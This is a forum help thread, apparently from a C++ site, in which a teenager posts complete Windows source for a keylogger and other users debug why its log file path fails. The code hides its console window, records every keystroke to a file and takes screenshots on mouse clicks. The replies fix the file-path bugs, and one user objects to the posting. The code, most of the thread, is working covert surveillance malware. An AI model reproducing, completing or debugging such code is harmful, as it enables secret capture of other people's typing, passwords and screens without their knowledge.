Keylogger (SOLVED)

Pages: 123
Edit 3: Nevermind, I solved it, thank you anyway.

Edit 2: Oops! Turns out I mistakenly put my username instead of the "%s" so the problem isn't solved yet but I have made some interesting discovery.
@Computergeek01 your still the man :P

Edit 1: Huge thumbs up to this man @Computergeek01
He really helped me solve my problem, and thanks to all the people in the forum for helping people achieve their goals!!!!



Hello,

I am not that experienced but I had to rush this one out of curiosity. Here is the full code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <GdiPlus.h>
#include <time.h>

using namespace std;

void stealth ();
int save (int key_stroke, char *file);

void gdiscreen();
int GetEncoderClsid(const WCHAR* format, CLSID* pClsid);

void getPcName();

int main()
{
	stealth ();

	wchar_t pcName [20];
	DWORD size = sizeof ( pcName );
	GetComputerName(pcName,&size);

	wchar_t directory[200];
	wsprintfW(directory, L"/Users/%s/Documents/keylogger" ,pcName);
	CreateDirectory (directory, NULL);
	wsprintfW(directory, L"/Users/%s/Documents/keylogger/data" ,pcName);
	CreateDirectory (directory, NULL);
	wsprintfW(directory, L"/Users/%s/Documents/keylogger/data/images" ,pcName);
	CreateDirectory (directory, NULL);

	char filename [200];
	printf(filename, L"/Users/%s/Documents/keylogger/data/Log.TXT" ,pcName);

	while(1==1)
	{
		for (int keyValue = 0; keyValue < 256; keyValue++)
		{
		  if (GetAsyncKeyState(keyValue) ==-32767)
		  { 
			  save(keyValue, filename);
			  break;
		  }
		  
		}
		
	}

	

	system ("PAUSE");
	return 0;
}


void stealth ()
{
	//hides the window
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("consoleWindowClass", NULL);
    ShowWindow(stealth, 0);
}

int save (int key_stroke, char *file){
    if((key_stroke == 1) || (key_stroke == 2)) 
	{
		gdiscreen();
	}


	else
	{
		FILE *OUTPUT_FILE;
	    OUTPUT_FILE = fopen(file, "a+"); 

   
		if(key_stroke == 18) fprintf(OUTPUT_FILE, "%s", "[ALT] ");	
		else if(key_stroke == 91) fprintf(OUTPUT_FILE, "%s", "[WINDOWS] ");
	    else if(key_stroke == 17) fprintf(OUTPUT_FILE, "%s", "[CONTROL] ");
	    else if(key_stroke == 16) fprintf(OUTPUT_FILE, "%s", "[SHIFT] ");
	    else if(key_stroke == 20) fprintf(OUTPUT_FILE, "%s", "[CAPS LOCK] ");
	    else if(key_stroke == 9)   fprintf(OUTPUT_FILE, "%s", "[TAB] ");
	    else if(key_stroke == 36) fprintf(OUTPUT_FILE, "%s", "[HOME] ");
	    else if(key_stroke == 35) fprintf(OUTPUT_FILE, "%s", "[END] ");
	    else if(key_stroke == 46) fprintf(OUTPUT_FILE, "%s", "[DELETE] ");
	    else if(key_stroke == 33) fprintf(OUTPUT_FILE, "%s", "[PAGE UP] ");
	    else if(key_stroke == 45) fprintf(OUTPUT_FILE, "%s", "[INSERT] ");
	    else if(key_stroke == 34) fprintf(OUTPUT_FILE, "%s", "[PAGE DOWN] ");

	    else fprintf(OUTPUT_FILE, "%s", &key_stroke);

		fclose(OUTPUT_FILE);
		cout << key_stroke << endl;
	}

return 0;
}



void gdiscreen()
{
	using namespace Gdiplus;
	GdiplusStartupInput gdiplusStartupInput;
	ULONG_PTR gdiplusToken;
	GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);

	{
		

		wchar_t pcName [20];
		DWORD size = sizeof ( pcName );
		GetComputerName(pcName,&size);

		SYSTEMTIME st;
		GetLocalTime(&st);
		wchar_t filename[200];
		memset(filename,0,sizeof(filename));
		wsprintfW(filename, L"/Users/%s/Documents/keylogger/data/images/%04d-%02d-%02d %02d-%02d-%02d_%03d.jpeg" ,pcName ,st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);

		HDC scrdc, memdc;
		HBITMAP membit;
		scrdc = ::GetDC(0);
		int Height = GetSystemMetrics(SM_CYSCREEN);
		int Width = GetSystemMetrics(SM_CXSCREEN);
		memdc = CreateCompatibleDC(scrdc);
		membit = CreateCompatibleBitmap(scrdc, Width, Height);
		HBITMAP hOldBitmap =(HBITMAP) SelectObject(memdc, membit);
		BitBlt(memdc, 0, 0, Width, Height, scrdc, 0, 0, SRCCOPY);

		Gdiplus::Bitmap bitmap(membit, NULL);
		CLSID clsid;
		GetEncoderClsid(L"image/jpeg", &clsid);
		bitmap.Save(filename , &clsid);

		SelectObject(memdc, hOldBitmap);

		DeleteObject(memdc);

		DeleteObject(membit);

		::ReleaseDC(0,scrdc);
	}

	GdiplusShutdown(gdiplusToken);
}

int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)
{
	using namespace Gdiplus;
	UINT  num = 0;          // number of image encoders
	UINT  size = 0;         // size of the image encoder array in bytes

	ImageCodecInfo* pImageCodecInfo = NULL;

	GetImageEncodersSize(&num, &size);
	if(size == 0)
		return -1;  // Failure

	pImageCodecInfo = (ImageCodecInfo*)(malloc(size));
	if(pImageCodecInfo == NULL)
		return -1;  // Failure

	GetImageEncoders(num, size, pImageCodecInfo);

	for(UINT j = 0; j < num; ++j)
	{
		if( wcscmp(pImageCodecInfo[j].MimeType, format) == 0 )
		{
			*pClsid = pImageCodecInfo[j].Clsid;
			free(pImageCodecInfo);
			return j;  // Success
		}    
	}

	free(pImageCodecInfo);
	return 0;
}
	



I think the problem is with this part of the code:
save(keyValue, filename);


Whenever I replace filename with "log.txt", it works fine but when I put filename in there I get this error:

1
2
3
4
5
6
7
8
9
10
11
Debug Assertion Failed!

Program:...dio 2010\Projects\keylogger test 2\Debug\keylogger test 2.exe
File: f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c
Line: 55

Expression: (str != NULL)

For information on how your program can cause an assertion failure, see the Visual C++ documentation on asserts.

(Press Retry to debug the application)


I have three options either I Abort, Retry, or Ignore while neither did any difference.

I tried googling the error with no luck. I am using Visual C++ 2010.
Help appreciated :)
Last edited on
This error means that you're not able to open a file.

In this case, you should probably change from "/Users/%s"... to "C:/Users/%s"...
Thank you so much for the reply. I tried changing it as you said but I just changed line 35 as I think it's the only line that has to do with the problem, and I still get the error. Any other suggestions?
And BTW I have "/Users/%s" instead of "C:/Users/%s" in the screenshot part and it works well.
I am not that experienced

And yet
And BTW I have "/Users/%s" instead of "C:/Users/%s" in the screenshot part and it works well.


Unless you made a typo and got those backward or something I'd suggest changing that.

EssGeEich is right, this error means you cannot open a file, make sure you have a folder under "C:\Users\" with the same name as your computer. Although fprintf() with a+ will create FILES that don't exist it will NOT create DIRECTORIES on the way to those files.

Line 26 through 32 is responsible for creating unpresent folders and it did, I tested it. I don't delete the folders before recompiling and I don't think thats the problem. The text file itself isn't created but when I use "log.txt" instead of "filename" it gets created by its own so that shouldn't be the problem too.

I am sorry but I have to ask because English isn't my first language, and yet what? What do you mean by got those backwards too, you mean the slashes?
And thank you for your reply :)
My mistake, you did indeed create the directories.

AARRGGGHHH! If you were trolling, I want you to know you got me. Otherwise don't worry it was a simple mistake. Line 35 should be "sprintf()" to write formatted data to a string: http://www.cplusplus.com/reference/cstdio/sprintf/

What was happening is by using "printf()" You were just sending the contents of 'filename' to the output buffer instead of storing the following string in 'filename'.
Last edited on
closed account (N36fSL3A)
I don't think you should post this stuff here.
Lol no I wasn't trolling. Ok, I changed it like you said and I still get the error :(
sprintf(filename, "C:/Users/%s/Documents/keylogger/data/Log.txt" ,pcName);

I had to remove the "L" because it asked me to.

Thank you man your so helpful :)
Last edited on
@Fridbill30 THen where should I post it?
Comment out your stealth function and output the contents of 'filename' to the console. Make sure it doesn't have any garbage data in there.

The error you're getting refers to Line 55 in the MSCRT version of "fprintf.h" and not your files. It says you are trying to write to a NULL filestream somewhere, we just need to find out where.
So what should I do now? xD
I think what you meant is remove the stealth function and then write the directory which "filename" holds into the console of my application right?
Whenever I try to write in it I get the error so?

And just to make things clear "filename" in the main function is different from "filename" in the gdiscreen function.
I can be more specific we're dealing with the instance of 'filename' in your main function. When I say "comment out" I mean prepend the line of code with "//" so that the code doesn't get compiled into the executable, this is a trick that allows you to remove code without having to delete it. You'll also want to comment out the call to the 'save()' function on Lines 37-49 or your while loop. So now when you compile and run it should only create the directories, write data to the instance of 'filename' in your main function and then print 'filename' to the screen.
I am sorry you have to go through this with a 15 years old, self taught, speaking English as a second language kid (No sarcasm, I am really sorry). Anyway I have done what you said and what the program does now is show the directories and print out the variable "filename". This is what it shows me:
"C:/Users/A/Documents/keylogger/data/Log.txt". The name of my computer is "Anas", so I think you found the problem :D, just don't leave me yet I need your help finding the solution. Thank you again.
Last edited on
Another little test you could do (Should not be the issue) is that Windows natively uses "\" for folders, and not "/" like unix.

But it should not be the issue.

Probably the issue is GetComputerName.
Should it not be something like GetUserName or something like this, I don't have the time to search about it as i've got to go right now.

Remember they are different, and if that specific folder does not exists, CreateDirectory does not fully create the directory tree from the first missing folder.
Thank you I'll try to find an alternative, buuut if someone knows an alternative already, would be nice to save some time :P
Weird thing is it works with the screenshots :S
The second argument to "GetCompuerName()" should be the size of the buffer, so in this case 20, this will fill 'pcName' with computer name and then put a null terminator at the end so that you can use it. EDIT: I am batting 1000 today for screwups.

But you still need to make sure the directory you are writing to exists! See EssGeEich's post above this one.
Last edited on
Yes the directory exists, and the second argument is filled with "&size" which is 20, as you said. I don't understand the null part though. I know you guys want to kill me now. God! I feel so stupid :S
Last edited on
Pages: 123